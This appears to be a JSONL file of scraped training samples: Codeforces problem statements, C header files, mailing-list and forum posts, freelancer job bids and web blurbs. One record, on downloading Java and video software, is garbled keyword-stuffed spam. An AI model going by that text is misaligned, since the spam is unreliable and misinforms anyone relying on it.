{"text": "A binary matrix is called good if every even length square sub-matrix has an odd number of ones.\n\nGiven a binary matrix $$$a$$$ consisting of $$$n$$$ rows and $$$m$$$ columns, determine the minimum number of cells you need to change to make it good, or report that there is no way to make it good at all.\n\nAll the terms above have their usual meanings — refer to the Notes section for their formal definitions.", "source": "cpt_codeforces", "language": "en", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// Copyright 2016-2021 Lawrence Livermore National Security, LLC and other\n// IREP Project Developers. See the top-level LICENSE file for details.\n//\n// SPDX-License-Identifier: MIT\n\n#ifndef ir_index_h\n#define ir_index_h\n\n// These are definitions for IREP's internal index representation.\n// It's used by generated wkt indexes, but is not intended for use\n// by IREP users' code.\n\n// needed for size_t\n#include <stddef.h>\n\n// Enum of all data types described by the IREP index.\nenum ir_type {\n  T_int,\n  T_dbl,\n  T_log,\n  T_str,\n  T_cbk,\n  T_tbl,\n  T_ref,\n  T_ptr\n};\n\n\n// Descriptor for an IREP variable.\ntypedef struct {\n  const char *name; // Name of the variable.\n  int ti;           // If variable is itself a struct, index into ir_ta, or -1.\n  size_t sz;        // Size of (one element of) the variable.\n  size_t off;       // Offset of the variable in its enclosing struct.\n  int len;          // Max length for string variable; include trailing null.\n  int flb;          // Fortran lower bound, if array.\n  int fub;          // Fortran upper bound, if array.  Zero for scalar.\n  int typ;          // Type code for the variable.  See Typ above.\n} ir_element;\n\n\n// Descriptor for an IREP well known table.\ntypedef struct {\n  void *p;          // Address of the table instance.\n  ir_element e;     // As above.\n} ir_wkt_desc;\n\n\n// These lookup tables need to be generated by irep-generate for the entire\n// program, and must include *all* wkt's. See irep-generate for details;\n// linking irep into a program that does not define ir_wktt and ir_ta will\n// result in link failure.\n\n// list of all well known tables and sub-tables\nextern ir_element *ir_ta[];\n\n// the index of top-level wkt's (this is where ir_read looks to figure out\n// where to write things)\nextern ir_wkt_desc ir_wktt[];\n\n// total number of wkt's in the index\nextern size_t ir_wktt_size;\n\n\n#endif // ir_index_h", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Owen reps Division Brand and Atlantis Shop out of Vancouver and is a railboss. SUBSCRIBE: http://bit.ly/1HOEepQ\nOwen grew up in the middle of nowhere but currently lives in Vancouver. He got sponsored, saw his first naked girl, turned 19 and lost his virginity thanks to Tinder in the same week. That is why he rides so good.\nThis edit was dropped last year for Division Brand:\nSubscribe to our channel for more BMX videos like this one!\nOUR WEBSITE UPDATED EVERY DAY WITH NEW BMX VIDEOS: http://www.thecomeup.com\nBMX T SHIRTS. FREE STICKERS WITH EVERY ORDER: http://www.thecomeup.bigcartel.com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dima worked all day and wrote down on a long paper strip his favorite number $$$n$$$ consisting of $$$l$$$ digits. Unfortunately, the strip turned out to be so long that it didn't fit in the Dima's bookshelf.\n\nTo solve the issue, Dima decided to split the strip into two non-empty parts so that each of them contains a positive integer without leading zeros. After that he will compute the sum of the two integers and write it down on a new strip.\n\nDima wants the resulting integer to be as small as possible, because it increases the chances that the sum will fit it in the bookshelf. Help Dima decide what is the minimum sum he can obtain.", "source": "cpt_codeforces", "language": "en", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I need a full solution of an application that reads CallerId from a modem (bidder should suggest a well-known external USB modem type and model) then it passes caller Id to a server through an HTTP API call with some configurations like UserName and Password.\nApplication should have configurations to save server URL, UserName and Password, then it should work as a background proccess.\n7 freelancers are bidding on average $263 for this job\nyou will not regret hiring us. i know that their will be a more professional proposals to you but give us that chance to prove you that we are good enough.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It's tough to be a superhero. And it's twice as tough to resist the supervillain who is cool at math. Suppose that you're an ordinary Batman in an ordinary city of Gotham. Your enemy Joker mined the building of the city administration and you only have several minutes to neutralize the charge. To do that you should enter the cancel code on the bomb control panel.\n\nHowever, that mad man decided to give you a hint. This morning the mayor found a playing card under his pillow. There was a line written on the card:\n\n$$J(x) = \\sum_{\\substack{1 \\leq k \\leq x \\\\ k | x \\\\ \\gcd(k, x/k) = 1}} k$$\n\nThe bomb has a note saying \"J(x) = A\", where A is some positive integer. You suspect that the cancel code is some integer x that meets the equation J(x) = A. Now in order to decide whether you should neutralize the bomb or run for your life, you've got to count how many distinct positive integers x meet this equation.", "source": "cpt_codeforces", "language": "en", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "What I think needs to be done is figure out how exactly you want\nbootstrapping and configuration to look like. What are the user facing\ninteractions? What GUI or CLI commands need to be done? What can we do\nto provide an integrated, simple, easy to use, nice SSO solution for\nAs for Keycloak: CORS, switching IPs, Integrating with existing auth\nmechs, and OAuth are all things we do or want to do. You have to\nremember though that Keycloak is a solution. A user-facing solution.\nIf you're only interested in adapters to integrate Wildfly with some\nthird-party SAML, oauth, openid, or whatever solution, then Keycloak is\nnot for you. We're not an third-party adapter provider. I'm really not\ninterested in Keycloak becoming another Picketlink where we provide a\nset of libraries to help you build your own security solution.\nBut, if you're interested in focusing on providing an OOTB SSO solution\nfor Wildfly, then we can talk:\nFor a CORS solution, we only have \"validated CORS\" where the allowed\norigins are stuffed in the signed token you get from the auth server.\nThere will probably be a few cases where users want unauthenticated CORS\ninvocations. Implementation wise, much of the CORS stuff is broken out\ninto different Undertow handlers. I also think Undertow has some of\nthis too (all the preflight stuff).\nUsing different IPs (i.e. LDAP/AD) is on the back burner for at least a\nfew months as we focus on Wildfly integration, themes, and other\nWhat do you mean by Enabling OAuth? If this means just having Wildfly\nparticipate as an OAuth client, then again Keycloak is not for you. If\nyou want Wildfly to be the OAuth provider, then, you would need\nsomething like keycloak in order to provide login screens and grant pages.\nFor Keycloak integrating with other auth mechanisms, I see this as a\nKeycloak problem in that we need to be able to work with clients that we\ncannot install an adapter on, but yet support a protocol like SAML.\nOn 1/31/2014 7:26 AM, Darran Lofthouse wrote:\nJust finishing off some WildFly 8 tasks and have a few things to work on\nfor EAP after that but as soon as that is done I need to get on with the\nnext steps for WildFly 9.\nFor the future SSO within domain management we have a few different\nissues to content with: -\n- Switching to a new identity provider\n- Integrating with existing authentication mechanisms\n- Enabling OAuth\nWhat I wanted to check with you guys before I start raising some\ntracking issues is if we can consider these points independently or if\nwe are going to need an all at once approach?\nAs an example we had a discussion the other day where it was identified\nthere may already be a CORS implementation in KeyCloak we can use, that\nis also one of our number one requirements in WildFly - would it be an\noption to integrate that portion first and then start looking to the rest?\nkeycloak-dev mailing list\nJBoss, a division of Red Hat", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 691, "token_count_with_eod": 692, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Monocarp is playing a computer game. He's going to kill $$$n$$$ monsters, the $$$i$$$-th of them has $$$h_i$$$ health.\n\nMonocarp's character has two spells, either of which he can cast an arbitrary number of times (possibly, zero) and in an arbitrary order:\n\n- choose exactly two alive monsters and decrease their health by $$$1$$$;\n- choose a single monster and kill it.\n\nWhen a monster's health becomes $$$0$$$, it dies.\n\nWhat's the minimum number of spell casts Monocarp should perform in order to kill all monsters?", "source": "cpt_codeforces", "language": "en", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Downloading java video - Driver carte graphique intel hd graphics family\nThe Eclipse Foundation - home to a global community over 350 open source projects, the Eclipse IDE, tools , Jakarta EE , including runtimes frameworks. Java Code Generation. Downloading java video. Keep in mind that a few of these projects could have been classified in more than one topic.\nJan 30 · In this Article: Article Summary Downloading the Java Software Development Kit Installing on macOS Installing on Windows Installing from an Archive on Linux . We are currently hiring Software Development Engineers this Article: Article Summary Downloading the Java Software Development Kit Installing on macOS Installing on Windows Installing from an Archive on Linux , Designers , Support Engineers, Product Managers, Account Managers, System Engineers, Solutions Architects Solaris Installing from a Package on Linux Community Q& A 14 References.\nVuze Bittorrent Client The Vuze Bittorrent Client is an end- to- end software application for all your torrent needs. Keep in mind that a few of these projects could have. Popular ones include Awesome Apps That You Can' T Find In Google Play Reigns games Minecraft games. They allow for greater interactivity and can power some very creative pages. * FREE* shipping on qualifying offers. Sure there are lots of tools to download videos from YouTube but how about the rest of video sharing websites?\nPlugins Contents Acquisition Analysis Collections Color Filters Segmentation Graphics Input/ Output Programming Examples. Software Engineer, the Stylus Studio® Team.\nIn this video we will be talking about the most common data types use in Java which are the primitive data types. SOA Using Java Web Services [ Mark D.\nAmazon Web Services ( AWS) is a dynamic, growing business unit within. This is an introduction to get you started programming with Java 9- and the newly introduced JShell. The web is full of Java- based programs. My requirement is, I should send a 10MB zip file to the client with a restful service. Java RMI: Designing & Building Distributed Applications ( JAVA SERIES) [ William Grosso] on.\nJava RMI contains a wealth of experience in designing and implementing Java' s Remote Method Invocation. Taking your XSLT by Clyde Kessel, XQuery To- Go with the new Java Code Generator in Stylus Studio® X16 XML Enterprise Suite . I found the code in forums that sending a StreamingOutput object is the better way, but how can I create a. How to Install Java. If you' re a novice reader. Expert Solutions and State- of- the- Art Code Examples. Download best quality mp3 music Waptrick games , get the latest , android games , free videos from ick for Waptrick videos, Waptrick mp3 songs the best mobile this video we will be talking about the most common data types use in Java which are the primitive data types. In order to see this content, your computer will need to have the Java Runtime Environment ( JRE). Downloading java video. Amazon Web Services is Hiring. Home | news | docs | download | plugins | resources | list | links. Plugins Contents Acquisition Analysis Collections Color Filters Segmentation Graphics. Taking your XSLT XQuery To- Go with the new Java Code Generator in Stylus Studio® X16 XML Enterprise Suite, by Clyde Kessel Sr. We will focus on byte short, int long.If an internal link led you here, you may wish to change the link to point directly to the intended low you will find 150 project ideas. I have divided them into 10 different topic areas that I think the project may use the most. This contrasts with uploading, where data is sent to a remote server.\nWaptrick Downloads. KeepVid finds an online survey about video download typically a server such as a web server, an email server, download means to receive data from a remote system, an FTP server, this survey shows the statistics about video sharing computer networks other similar systems. XVideoServiceThief ( a. This disambiguation page lists articles associated with the title How. Get Into Action With Android Apps iOS Games More.\nJava is one of the top five programming languages is used for websites, embedded controllers Android app development. Which Websites Do People Download Videos from?\nIs an E- Learning project Sinhala educational web site which enables Sri Lankan community to explore the world of Information Technology. Although it is a complete bittorrent downloader doesn' t slow your computer down, the Vuze program maintains a lightweight footprint quickly downloads torrents. A download is a file offered for downloading the process of receiving such a t required to have any prior programming knowledge, that has been downloaded as all the prerequisites such as Java will be explained from basics. Downloading java video. Downloading java video. A xVST) is a Windows Linux Mac OS X tool for downloading your video clips from a lot of video websites. JDownloader is a free open- source download management tool with a huge community of developers that makes downloading as easy fast as it should be. Download free Android apps to explore new ways to do things or addicting games for Android to keep yourself entertained.\nWe are currently hiring Software Development Engineers Product Managers, Support Engineers, Account Managers, Solutions Architects, System Engineers, Designers more. SOA Using Java™ Web Services is a hands- on guide to implementing Web services Service Oriented Architecture ( SOA) with today’ s Java EE 5 Java SE 6 platforms. Expert Solutions Service Oriented Architecture ( SOA) with today’ s Java EE 5 , State- of- the- Art Code Examples SOA Using Java™ Web Services is a hands- on guide to implementing Web services Java SE 6 platforms.\nDownloading video Indonesia\nI created code for download video from Youtube, but this code doesn' t work with Wi- fi connection and work with mobile connection. Where did I have mistake?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1214, "token_count_with_eod": 1215, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Iñigo LavadoChef | Restaurant Iñigo Lavado\nWhat moves me is the emotion of making people enjoy themselves. Our gastronomy seeks to go beyond the common dynamics that exist in a restaurant. We want to live different experiences that nourish our cuisine and translate them into our dishes.\nShowcooking | Exhibitor talks Aula Makro\n“Bridging Borders” Meeting Point\nIñigo Lavado Restaurant Iñigo Lavado Chef", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Gottfried learned about binary number representation. He then came up with this task and presented it to you.\n\nYou are given a collection of $$$n$$$ non-negative integers $$$a_1, \\ldots, a_n$$$. You are allowed to perform the following operation: choose two distinct indices $$$1 \\leq i, j \\leq n$$$. If before the operation $$$a_i = x$$$, $$$a_j = y$$$, then after the operation $$$a_i = x~\\mathsf{AND}~y$$$, $$$a_j = x~\\mathsf{OR}~y$$$, where $$$\\mathsf{AND}$$$ and $$$\\mathsf{OR}$$$ are bitwise AND and OR respectively (refer to the Notes section for formal description). The operation may be performed any number of times (possibly zero).\n\nAfter all operations are done, compute $$$\\sum_{i=1}^n a_i^2$$$ — the sum of squares of all $$$a_i$$$. What is the largest sum of squares you can achieve?", "source": "cpt_codeforces", "language": "en", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef _CONSTANTS_H_\n#define _CONSTANTS_H_\n#endif /* _CONSTANTS_H_ */", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There are $$$m$$$ people living in a city. There are $$$n$$$ dishes sold in the city. Each dish $$$i$$$ has a price $$$p_i$$$, a standard $$$s_i$$$ and a beauty $$$b_i$$$. Each person $$$j$$$ has an income of $$$inc_j$$$ and a preferred beauty $$$pref_j$$$.\n\nA person would never buy a dish whose standard is less than the person's income. Also, a person can't afford a dish with a price greater than the income of the person. In other words, a person $$$j$$$ can buy a dish $$$i$$$ only if $$$p_i \\leq inc_j \\leq s_i$$$.\n\nAlso, a person $$$j$$$ can buy a dish $$$i$$$, only if $$$|b_i-pref_j| \\leq (inc_j-p_i)$$$. In other words, if the price of the dish is less than the person's income by $$$k$$$, the person will only allow the absolute difference of at most $$$k$$$ between the beauty of the dish and his/her preferred beauty.\n\nPrint the number of dishes that can be bought by each person in the city.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "It would be the same as the application as Brightspace Pulse but more customized. Would also like to be able to post on discussion boards, receive school wide announcements, calendar notifications, and school alerts, check grades, assignments and email, and contain school contacts for the office and advisors.\nDo not know what to put for skills required\n18 freelanceria on tarjonnut keskimäärin %project_bid_stats_avg_sub_18% %project_currencyDetails_sign_sub_19%/tunti tähän työhön\nHello, I can create your system fully(include design) from backend(database, admin panel and rest api) to frontend(android and ios). Hope to work with you. Please send me a message so that we can discuss more.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am a Professor in Industrial Organization, with a background in Computer Modelling, Economics and Mathematics. My main area of expertise is game theory and the analysis of complex systems. I am currently lecturing Machine Learning, Finance, and Complex Systems Modelling at the University of Burgos (Spain). Curriculum vitae.\ne-mail: lrizquierdo @ ubu . es\nLearning and Evolutionary Game Theory, Social dilemmas, Complex systems modelling, Philosophy of modelling and the use of models, networks, complexity ...\n- An Introduction to ABED: Agent-Based Simulation of Evolutionary Game Dynamics\nIzquierdo, L.R., Izquierdo, S.S. & Sandholm, W.H. (2019). Games and Economic Behavior, 118, pp. 434-462.\n[Download at publishers's site] | [Working Paper] | [Online appendix] | [abed-1pop] | [abed-2pop] | [Presentation]\n- Best Experienced Payoff Dynamics and Cooperation in the Centipede Game\nSandholm, W.H., Izquierdo, S.S. & Izquierdo, L.R. (2019). Theoretical Economics 14, pp. 1347–1385.\n[Download] | [Online appendix] | [Mathematica notebook]\n- EvoDyn-3s: A Mathematica Computable Document to Analyze Evolutionary Dynamics in 3-Strategy Games\nIzquierdo, L.R., Izquierdo, S.S. & Sandholm, W.H. (2018). SoftwareX, 7, pp. 226-233.\n[Download] | [Software]\n- Leave and let leave: A sufficient condition to explain the evolutionary emergence of cooperation\nIzquierdo, L.R., Izquierdo, S.S. & Vega-Redondo, F. (2014). Journal of Economic Dynamics & Control 46, pp. 91-113.\n[Download at publishers's site] | [Download unformatted version] | [Computational model] | [Presentation] | [5-minute video summary]\nTwenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 519, "token_count_with_eod": 520, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How to print data across then down in RDLC report\nIn crystal report, you can select the printing direction in Layout tab between \"Across then Down\" and \"Down then Across.\"\nI have a dataset with 2 column:\nI want the result to print like this:\nid name id name\n1 Jim 2 Jess\n3 John 4 Jane\nHow can i do this in local RDLC report or is it even possible?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Subscribe to ALTER on YouTube: https://goo.gl/LnXRC3\nAs they go from house to house, four young trick-or-treaters collect strange treats that could signal the end of Halloween.\n“The Last Halloween” directed by Marc Roussel\nBe ready to leave the world you know behind and subscribe. Once you watch, you are forever ALTERed.\nConnect with the filmmakers:\nFollow Lora D’Addazio on Twitter: https://twitter.com/ContagiousCargo\nFollow The Last Halloween on Facebook: https://www.facebook.com/thelasthalloweenshortfilm/\n#ALTER #horror #shortfilm\nALTER is an ever-expanding platform for the most daring storytellers in the world of horror. We are a home, community and launching pad for our filmmakers. Slip into the dark, disturbing corners of cutting-edge horror.\nFilmmakers should visit https://filmfreeway.com/alterdustsubmissions to submit your horror shorts. (Only completed horror shorts will be considered. Unsolicited scripts or pitches will be immediately deleted without review.)\nWatch more: https://goo.gl/yvB7EM\nFollow us on Facebook: https://goo.gl/X4LhGr\nFollow us on Instagram: https://goo.gl/G6W7zn\nSign-up for the ALTER and DUST Newsletter: http://eepurl.com/dChYXb\nAbout Gunpowder + Sky:\nCreating content that resonates and impacts pop culture conversation, by empowering creators to take risks and experiment relentlessly in the pursuit of novel stories and formats.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I set window length as 512 to see more frequencies and overlap on 256\n(as default), is this correct?\nNo, the number of frequencies (i.e. frequency bins) will depend on the NFFT argument of your spectrogram function and will be equal to $NFFT / 2$. Also note that the frequency bins do not represent a single frequency component but rather have a fixed bandwidth given by $f_s/NFFT$ ($f_s$ is the sampling rate).\nBut, there's also one big problem with your code. NFFT, as used in your code, represents the number of samples in your entire audio file (rounded to the next power of two integer), which means that you're going to average all the frequency components found at different time points. A spectrogram is really about segmenting your audio file into smaller time chunks and then performing an FFT on it. So just replace your spectrogram function with\nspectrogram(y,512,256, 512);//the last argument is the FFT length\nThe NFFT and window length arguments can be the same length. The longer the NFFT argument, the more frequency components you'll get at the expense of decreased time resolution (more samples are spread over a larger time segment, thus less time resolution)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 269, "token_count_with_eod": 270, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Recently we reviewed a pull request and didn't think anything of a binary file that was modified at one commit, then \"unmodified\" at another commit in the branch.\nAfter the branch was merged, we found that the binary file had been corrupted. This was introduced in the second commit. The pull request had said \"File contents unchanged.\" so reviewers expected no corruption, but in fact, the file had been changed.\nIf you need the URLs to our pull request, don't hesitate to contact me.\nAn image of what the PR displays is below:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a non-empty string s consisting of lowercase English letters. You have to pick exactly one non-empty substring of s and shift all its letters 'z' $$\\rightarrow$$ 'y' $$\\rightarrow$$ 'x' $$\\overrightarrow { a }, \\ldots, \\overrightarrow { a }$$ 'b' $$\\rightarrow$$ 'a' $$\\rightarrow$$ 'z'. In other words, each character is replaced with the previous character of English alphabet and 'a' is replaced with 'z'.\n\nWhat is the lexicographically minimum string that can be obtained from s by performing this shift exactly once?", "source": "cpt_codeforces", "language": "en", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Grale: Designing Networks for Graph Learning\nJonathan Halcrow: Google; Alexandru Moșoi; Google; Sam Ruth: Google; Bryan Perozzi: Google\nHow can we find the right graph for semi-supervised learning? In real world applications, the choice of which edges to use for computation is the first step in any graph learning process. Interestingly, there are often many types of similarity available to choose as the edges between nodes, and the choice of edges can drastically affect the performance of downstream semi-supervised learning systems. However, despite the importance of graph design, most of the literature assumes that the graph is static.\nIn this work, we present Grale, a scalable method we have developed to address the problem of graph design for graphs with billions of nodes. Grale operates by fusing together different measures of (potentially weak) similarity to create a graph which exhibits high task-specific homophily between its nodes. Grale is designed for running on large datasets. We have deployed Grale in more than 20 different industrial settings at Google, including datasets which have tens of billions of nodes, and hundreds of trillions of potential edges to score. By employing locality sensitive hashing techniques, we greatly reduce the number of pairs that need to be scored, allowing us to learn a task specific model and build the associated nearest neighbor graph for such datasets in hours, rather than the days or even weeks that might be required otherwise.\nWe illustrate this through a case study where we examine the application of Grale to an abuse classification problem on YouTube with hundreds of million of items. In this application, we find that Grale detects a large number of malicious actors on top of hard-coded rules and content classifiers, increasing the total recall by 89% over those approaches alone.\nHow can we assist you?\nWe'll be updating the website as information becomes available. If you have a question that requires immediate attention, please feel free to contact us. Thank you!\nPlease enter the word you see in the image below:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 414, "token_count_with_eod": 415, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Jamie is preparing a Codeforces round. He has got an idea for a problem, but does not know how to solve it. Help him write a solution to the following problem:\n\nFind k integers such that the sum of two to the power of each number equals to the number n and the largest integer in the answer is as small as possible. As there may be multiple answers, you are asked to output the lexicographically largest one.\n\nTo be more clear, consider all integer sequence with length k (a1, a2, ..., ak) with $$\\sum_{i=1}^{k} 2^{a_i} = n$$. Give a value $$y = \\max_{1 \\leq i \\leq k} a_i$$ to each sequence. Among all sequence(s) that have the minimum y value, output the one that is the lexicographically largest.\n\nFor definitions of powers and lexicographical order see notes.", "source": "cpt_codeforces", "language": "en", "token_count": 196, "token_count_with_eod": 197, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// log.h : contains the definition for the simple logging class.\n\n#pragma once\n\n#include \"stdafx.h\"\n\nenum LogLevel\n{\n\tkError,\n\tkWarning,\n\tkInfo,\n\tkDebug\n};\n\nclass Log\n{\npublic:\n\tLog(char* filename, bool enabled);\n\t~Log();\n\tvoid Close();\n\tvoid Write(const char* message, LogLevel level = kInfo);\n\tvoid Writef(const char* format, uint32_t value);\n\nprivate:\n\tstatic char* ToString(LogLevel level);\n\tstatic LogLevel FromString(const std::string& level);\n\tstatic void NowTimeString(char* out);\n\nprivate:\n\tbool logging_enabled_;\n\tstd::ofstream out_file_stream_;\n};", "source": "cpt_stack_code", "language": "code", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Suppose you had gotten a room full of economists together in 1980, and made the following predictions:\n1. Over the next 28 years the US would grow as fast as Japan, and faster than Europe (in GDP per capita, PPP.)\n2. Over the next 28 years Britain would overtake Germany and France in GDP per capita.\nAnd you said you were making these predictions because you thought Thatcher and Reagan’s policies would be a success. Your predictions (and the rationale) would have been met with laughter.\nAfter showing how successful the US was relative to other countries, Sumner writes:\nKrugman makes the basic mistake of just looking at time series evidence, and only two data points: US growth before and after 1980. Growth has been slower, but that’s true almost everywhere. What is important is that the neoliberal reforms in America have helped arrest our relative decline. The few countries that continued to gain on us were either more aggressive reformers (Chile and Britain), or were developing countries that adopted the world’s most capitalist model. (According to every survey I have seen HK and Singapore are the top two in economic freedom.)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "== Build and Destroy ==\nWelcome to Build and Destroy, the new top down strategy game!\nThe objective is to destroy the opposite team's control point, whilst defending your own. 4 selectable player classes will aid you in your mission, one of which may construct and link together buildings - including barricades, ammo dispensers, powered lights and turrets.\nPress F1 to see the help menu.\nPress F2 to change team.\nPress F3 to change class.\nPress Alt+F4 to quit gmod.\nComes with 3 maps:\nMap rotation is in shared.lua of the gamemode.\nMade by thomasfn for the FacePunch gamemode contest (April 2009)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "All Posts tagged Non-bypassable Charges\nGenability has just upgraded both our Savings Analysis API and our Calculate API to better support Non-Bypassable Charges (NBCs). What are NBCs you ask? Well that’s how the California utilities refer to the customer’s annual NBCs that...\nBy John Tucker", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi I came to a direction in a sweater pattern I am knitting that goes like this\n*P2, K1, p2, m7; repeat from * around.\nMy question is, What does m7 mean? In the book m stands for meter's.\nIn common knitting abbreviations 'm' has several meanings depending on the context.\nSometimes it means 'make' so if you see m1 or m2 in a pattern it might be the abbreviation the designer uses for make one or make two. Which means to increase the number of stitches.\nIn other patterns where more than one colour are used 'm' can stand for main colour, so if your design is a fair isle pattern, your instructions might mean knit the next 7 stitches using the main colour.\nBut it is hard to tell without seeing your pattern.\nIf you have a knitting question that you would like me to answer, do not leave it here as a facebook comment.\nI do not actively monitor the conversations on facebook and will not know that you have left a message unless you specifically tag me. Please use the form on my Ask a Knitting Question page instead as I get an email notification any time someone asks a question.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ariba Network Suppliers: Data Retention Policy Management\nAriba Network suppliers can now specify a period for retaining transaction documents on the network\nSince the February 2021 release, suppliers now have the ability to specify the retention period for transaction documents. Ariba Network account administrators can choose to opt in for data deletion, which means that any transaction document older than the specified retention period are subject to deletion every month.\nThis is beneficial for suppliers who may need to delete old transactions based on regulatory needs in their countries or business requirements in their organizations. If you choose to not opt in for data deletion, documents aren’t deleted. It is important to note that when a document is deleted, it cannot be restored. This means you can’t search for a deleted document or perform any more actions related to it.\nBuyers and suppliers maintain their own data retention period. Each document is part of a larger document tree, a sequence of related documents sent between the buyer and supplier (for example, purchase order, order confirmation, ship notice, receipt, invoice, and so on). When all documents in a particular tree are older than the specified data retention period, only then are they ready to be deleted. If any document in a tree is not older than the data retention period, the entire tree is retained.\nOn the first day of each month, the system identifies any document trees that are older than the number of months you specified. The identified document trees are then deleted permanently within one month of being identified.\nConfigure data retention period via these steps:\n- Ensure you have account admin rights or the Transaction Data Deletion Configuration permission\n- Go to your user settings, then account settings\n- Navigate to Data Deletion Criteria\n- Check the box for Opt in for data deletion\n- Enter the number of months after which the system automatically deletes transaction documents\n- Save to save changes\nView the product documentation to learn more.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 390, "token_count_with_eod": 391, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "At a current client there is a need for loading a large amount of data as quickly as possible, which we're currently accomplishing using some hefty hardware and a series of 40 QVWs! This has allowed us to improve performance tenfold over the previous iteration which used a single load script.\nFor background, basically we have a starting process which loads a couple dozen small tables from the database server into QVD files and takes ~20-30 seconds. The completion of that process triggers the processes that can run with only those first QVDs as well as the next, somewhat larger database load, which triggers processes that can run with only the tables from the 1st and 2nd database load as well as a third database load. Once all of the processes beforehand are complete, a multiple task trigger sets off the reload and distribute of the UI.\nTo meet the need for \"as quickly as possible\" we want the first load task to be triggered upon completion of the last (UI load & distribute) task. This also works OK, but it introduces issues in case of failures: If *any* of the 40 QVW loads were to fail, the load chain would be stopped until someone manually triggered the first process again.\nWe're looking for a \"safety valve\" to ensure that the loading process is self-recovering. We did get one method to work - A QVW that resets a few things, is triggered by the failure of any of the other 40 QVWs, and triggers the first load of the process to get it going again - But it made the QMC almost unusable: Since it is triggered by any process failing, the Status page shows it as a subprocess of every QVW in the chain; since it triggers the first process in the chain, every process shows up as a child of every other process in the QMC. If any of them are loading, they all show as loading, if any of them fail they all show as failed and it makes finding the source of issues a royal pain.\nIs there a better way to do this? We were hoping that dependencies would work and we could set up our \"safety valve\" process on a time trigger with dependencies for the other processes not running. However, dependencies seem to not care whether things are currently running as long as they haven't failed.\nAny help is much appreciated!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 494, "token_count_with_eod": 495, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have an important favor to ask to Scrum practitioners who are asking their team to commit themselves to their\nA statement as to why story points can be replaced by better and empirical metrics.\nGoing from an ordered list to a visual, pull-system workflow.\nA detailed post explaining how to do throughput-driven sprint planning using throughput and Service Level Expectation (SLE).\nA mathematical demonstration of how many completed items are required before you can trust the 85th percentile.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 97, "token_count_with_eod": 98, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
